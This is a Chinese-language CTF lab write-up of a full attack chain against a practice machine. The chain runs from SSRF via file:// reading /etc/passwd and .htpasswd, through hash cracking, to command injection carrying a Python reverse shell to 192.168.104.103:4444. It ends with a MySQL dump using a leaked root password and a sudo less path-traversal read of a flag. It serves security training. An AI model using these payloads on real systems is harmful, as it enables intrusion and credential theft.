一:从 SSRF 漏洞探测到获取 Flag 1 的完整路径
开始源于对目标系统的信息搜集。通过发现靶机开启了80端口,所以我们可以进去看看


进去看到一个登录界面我们直接注册进去发现一个url测试入口
使用 dirsearch 进行目录扫描,我们发现了很多可用的信息


在登录控制台后,定位到了“URL 可用性检测”模块。
- 漏洞原理:该功能后端直接调用
curl处理用户输入的 URL,且未对file://等进行过滤。 - 验证过程:我输入
file:///etc/passwd,页面成功返回了系统用户信息,证实了 SSRF 漏洞 的存在。

并且通过var/www/html/db.php发现了大量泄露数据
并且我们通过在这里按照习惯寻找,发现了flag1.txt

并且我们直接查询etc下的passwd可以看到结果如图:

我们就能得知其中有一个用户叫:liwei
为了突破受限的 API 目录,我利用 SSRF 探测 Web 目录下的隐藏安全配置:
- 定位密码本:因为apache下面有隐藏文件,我们通过通过读取
.htaccess,确认了凭据存储在/var/www/html/api/.htpasswd。 - 获取哈希:再次利用 SSRF 读取该文件,拿到了加密后的用户哈希。经过线下爆破,成功解密出明文密码
trustno1。


我们便得到了张伟的哈希密码和db的user以及密码
在暴力破解之后,我们可以看到zhangwei的密码为trustno1
我们便以这个密码登录到模块界面
在模块界面我们可以根据上图得知的admin_panel加上原本模块界面给我们的格式组合成我们自己的一个反弹shell
http://192.168.104.102/api/loader.php?module=admin_panel&token=bob&exec=python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.104.103",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
所以我们可以利用这个反弹shell连接到靶机去
连接上去之后我们可以看到我们目前是普通用户

然后在我们之前我们已经得知了数据库的用户名和密码,我们这里就可以直接对数据库数据进行查找
mysql -u root -p'R#xK9mWz$2pLnQ7v' abyss_platform -e "SELECT * FROM users;"
所以我们就能看到如下数据:

里面的这个admin我们推测为liwei,所以对他的密码进行爆破
我们根据爆破结果可以得知李伟的密码是:dragon
然后我们就可以登录上去

成功切换之后我们先对所有的flag进行查找

我们可以看见flag1和flag3的位置
而flag2需要我们自己查找,我们执行一个cd

这时我们可以执行一下sudo -l看看权限

我们可以看到最后一行是我们不需要密码可以执行的sudo内容
所以我们绕一绕,直接跳过sudo
我们可以执行如下指令:
sudo /usr/bin/less /var/log/abyss/../../../flag3.txt
于是我们就可以看到

所以我们拿到了3个flag


Comments | NOTHING